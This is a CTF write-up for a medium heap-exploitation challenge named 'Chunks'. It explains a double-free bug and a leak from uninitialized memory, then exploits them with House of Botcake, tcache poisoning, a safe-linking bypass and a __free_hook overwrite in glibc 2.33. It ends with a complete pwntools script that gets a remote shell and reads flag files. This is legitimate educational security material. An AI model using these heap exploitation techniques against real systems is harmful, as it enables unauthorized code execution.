Chunks (Чанки)
Chunks (Чанки)
Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-10 | Status: Solved Techniques: double_free, __free_hook_overwrite, heap_info_leak, house_of_botcake, safe_linking_bypass, tcache_poisoning, unsorted_bin_leak
Summary
Task: Menu-based heap allocator with create/delete/view commands, no edit function. Solution: House of Botcake technique exploiting double-free vulnerability and uninitialized heap data leak to overwrite __free_hook with system() in glibc 2.33.
Chunks (Чанки) — Duckerz CTF
Description
Menu-based heap allocator with 4 commands: create, delete, view, exit. 24 slots (indices 0-23). Global arrays in BSS: chunks[24] (pointers), sizes[24] (sizes), freed[24] (freed flags).
- Author: crowdyara
- Solved by: 4 teams
- Remote: nc tasks.duckerz.ru 30035
- Files: chunks.zip (pwn binary + libc)
Analysis
Binary File
- ELF 64-bit LSB PIE executable, x86-64
- Protections: Full RELRO, Stack Canary, NX enabled, PIE enabled
- Not stripped (symbols available: chunks, sizes, freed, create, delete, view)
- Libc: glibc 2.33 (Ubuntu GLIBC 2.33-0ubuntu5)
Functions (reconstructed pseudocode)
create():
- Finds the first slot where
chunks[i] == NULL && freed[i] == 0 - Requests size (1-0x800)
malloc(size), then reads data viareadLine(ptr, size, binary=1)readLinein binary mode reads byte-by-byte viaread(0, &byte, 1), stops on\nor when count==size. Does NOT add null-terminator.- Stores pointer in
chunks[slot], size insizes[slot],freed[slot] = 0
delete():
- Requests index (0-23)
- Checks
chunks[idx] != NULL(but does NOT checkfreed[idx]!) free(chunks[idx])- Sets
sizes[idx] = 0,freed[idx] = 1 - Does NOT NULL out
chunks[idx]— dangling pointer remains!
view():
- Requests index
- Checks
chunks[idx] != NULL && freed[idx] == 0 write(1, chunks[idx], sizes[idx])— outputssizes[idx]bytes
Vulnerabilities
1. Double Free
delete() checks chunks[idx] != NULL, but never checks freed[idx]. Since chunks[idx] is not NULLed after free, calling delete again on the same index triggers double free. In glibc 2.33 tcache has double-free detection via the key field at offset 8 in the user data of a freed chunk, but this can be bypassed if the key is overwritten between free calls.
2. Information Leak (uninitialized heap data)
readLine in binary mode does NOT add a null-terminator. view() uses sizes[idx] (requested size, not actually written bytes) to determine output length. If we create a chunk and send only \n (writing 0 bytes), then view it — we get the full sizes[idx] bytes of whatever was previously in that heap memory:
- tcache fd pointers (safe-linked) → heap address leak
- unsorted bin fd/bk pointers → libc address leak
Solution
Technique: House of Botcake
The key problem is no edit function. We can only write data to a chunk during create(), which allocates a NEW chunk. Standard tcache poisoning requires writing to a chunk while it's in the tcache free list, which is not directly possible.
House of Botcake solves this by creating overlap between a tcache entry and an unsorted bin chunk, allowing us to modify the tcache entry's fd pointer through an overlapping allocation.
glibc 2.33 Specifics
- Safe-linking is active: fd pointers are XOR'd with
(chunk_addr >> 12) - Tcache double-free detection via key field
__free_hookstill exists (only removed in glibc 2.34) — our write target- Maximum tcache chunk size: 0x420 (request 0x410)
Phase 1: Libc Leak via Unsorted Bin
create(0, 0x500)— allocate large chunk A (larger than tcache max)create(1, 0x20)— guard chunk to prevent consolidation with top chunkdelete(0)— A goes to unsorted bin; fd/bk point tomain_arena+96create(2, 0x500, newline_only)— get A back from unsorted bin, write 0 bytesview(2)— leak 0x500 bytes; first 8 bytes = unsorted bin fd =main_arena+96- Calculate:
libc_base = leaked_fd - main_arena_offset - 96
Phase 2: House of Botcake Setup
- Allocate 9 chunks of size 0x100 (chunk size 0x110) in slots bc[0]..bc[8]
- Allocate another guard chunk (0x20)
- Free bc[0] through bc[6] — fill tcache[0x110] with seven entries
delete(bc[8])— chunk B goes to unsorted bin (tcache is full)delete(bc[7])— chunk A consolidates forward with B in unsorted bin (combined size 0x220)create(0x100)— pop one from tcache (count 7→6)delete(bc[8])— DOUBLE FREE B! B's key field was NOT set by tcache (B went to unsorted bin first, then was consolidated). Now B goes to tcache[0x110]. B is simultaneously in tcache AND part of the consolidated unsorted bin chunk.
Phase 3: Overlap + Heap Leak + Poisoning
create(0x210, newline_only)— allocation from unsorted bin, overlapping B's position at offset 0x110view()the overlapping chunk — at offset 0x110 we read B's safe-linked tcache fd and tcache keydelete()the overlapping chunk — return it to unsorted bin- Get heap leak via separate tcache chunk: alloc, free, realloc with newline, view → safe-linked fd from NULL =
(chunk_addr >> 12)= XOR key - Calculate:
poisoned_fd = __free_hook_addr ^ xor_key create(0x210, payload)— overlapping allocation again, this time write poisoned fd at offset 0x110 and preserve tcache key at offset 0x118
Phase 4: Arbitrary Write to __free_hook
create(0x100, "/bin/sh\x00")— tcache returns B (first allocation from poisoned tcache)create(0x100, p64(system_addr))— tcache returns__free_hook! Writesystem()address.
Phase 5: Getting Shell
delete(idx_binsh)— callsfree("/bin/sh"), which is nowsystem("/bin/sh")→ SHELL!cat /flag*→DUCKERZ{REDACTED}
Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import struct context.arch = "amd64" context.log_level = "info" HOST = "tasks.duckerz.ru" PORT = 30035 BINARY = "./tasks/duckerz/chunks/release/pwn" LIBC_PATH = "./tasks/duckerz/chunks/release/libc" elf = ELF(BINARY) libc = ELF(LIBC_PATH) MALLOC_HOOK_OFF = libc.symbols["__malloc_hook"] MAIN_ARENA_OFF = MALLOC_HOOK_OFF + 0x10 UNSORTED_BIN_OFF = MAIN_ARENA_OFF + 96 FREE_HOOK_OFF = libc.symbols["__free_hook"] SYSTEM_OFF = libc.symbols["system"] PROMPT = b">> " def has_bad_byte(addr): return 0x0A in struct.pack("<Q", addr) def create(p, size, data=b"", newline_only=False): p.sendlineafter(PROMPT, b"create") p.sendlineafter(b": ", str(size).encode()) p.recvuntil(b"Data:\n") if newline_only: p.send(b"\n") else: p.send(data[:size] + b"\n") p.recvuntil(b"index ") return int(p.recvline().strip()) def delete(p, idx): p.sendlineafter(PROMPT, b"delete") p.sendlineafter(b": ", str(idx).encode()) p.recvuntil(b"Deleted") def view(p, idx, size): p.sendlineafter(PROMPT, b"view") p.sendlineafter(b": ", str(idx).encode()) data = p.recv(size) p.recv(1) return data def exploit(): for attempt in range(50): p = remote(HOST, PORT) try: # Phase 1: Libc leak via unsorted bin idx_big = create(p, 0x500, b"A" * 16) idx_guard = create(p, 0x20, b"G" * 8) delete(p, idx_big) idx_leak = create(p, 0x500, newline_only=True) leak_data = view(p, idx_leak, 0x500) leaked_fd = u64(leak_data[0:8]) libc_base = leaked_fd - UNSORTED_BIN_OFF if libc_base & 0xFFF != 0: libc_base = u64(leak_data[8:16]) - UNSORTED_BIN_OFF if libc_base & 0xFFF != 0: p.close(); continue free_hook_addr = libc_base + FREE_HOOK_OFF system_addr = libc_base + SYSTEM_OFF if has_bad_byte(system_addr): p.close(); continue # Phase 2: House of Botcake setup bc = [] for i in range(9): bc.append(create(p, 0x100, b"C" * 8)) create(p, 0x20, b"G" * 8) # guard for i in range(7): delete(p, bc[i]) # fill tcache[0x110] delete(p, bc[8]) # B -> unsorted bin delete(p, bc[7]) # A consolidates with B create(p, 0x100, b"T" * 8) # drain tcache (7->6) delete(p, bc[8]) # DOUBLE FREE B -> tcache # Phase 3: Overlap + heap leak + poison overlap1 = create(p, 0x210, newline_only=True) odata = view(p, overlap1, 0x210) b_stored_fd = u64(odata[0x110:0x118]) b_tcache_key = u64(odata[0x118:0x120]) delete(p, overlap1) h1 = create(p, 0x30, b"H" * 8) h2 = create(p, 0x30, b"H" * 8) delete(p, h1) h3 = create(p, 0x30, newline_only=True) xor_key = u64(view(p, h3, 0x30)[0:8]) poisoned_fd = free_hook_addr ^ xor_key if has_bad_byte(poisoned_fd) or has_bad_byte(b_tcache_key): p.close(); continue payload = b"\x00" * 0x110 + p64(poisoned_fd) + p64(b_tcache_key) payload = payload.ljust(0x210, b"\x00") if 0x0A in payload: p.close(); continue create(p, 0x210, payload) # Phase 4: Arbitrary write to __free_hook idx_b = create(p, 0x100, b"/bin/sh\x00" + b"\x00" * 0xF8) create(p, 0x100, p64(system_addr) + b"\x00" * 0xF8) # Phase 5: Trigger shell p.sendlineafter(PROMPT, b"delete") p.sendlineafter(b": ", str(idx_b).encode()) sleep(1) p.sendline(b"cat /flag* /home/*/flag* /app/flag* 2>/dev/null") sleep(1) data = p.recv(4096, timeout=5) if b"DUCKERZ{" in data: start = data.find(b"DUCKERZ{") end = data.find(b"}", start) log.success(f"FLAG: {data[start:end+1].decode()}") p.close() return except Exception as e: try: p.close() except: pass if __name__ == "__main__": exploit()
Notes
- House of Botcake — the main technique when there's double-free but no edit primitive in glibc 2.31-2.33
- In glibc 2.33
__free_hookstill exists (removed in 2.34), making it the easiest target for arbitrary write - Safe-linking (glibc >= 2.32) requires heap address leak to calculate XOR key:
key = chunk_addr >> 12 - Leak via uninitialized heap data (no null-termination + output by size) — typical pattern in CTF heap challenges
- Always check if
deleteNULLs the pointer — missingptr = NULLafterfree(ptr)is one of the most common heap bugs - Exploit runs in a loop (up to 50 attempts) due to ASLR and bad byte (0x0A) checks in addresses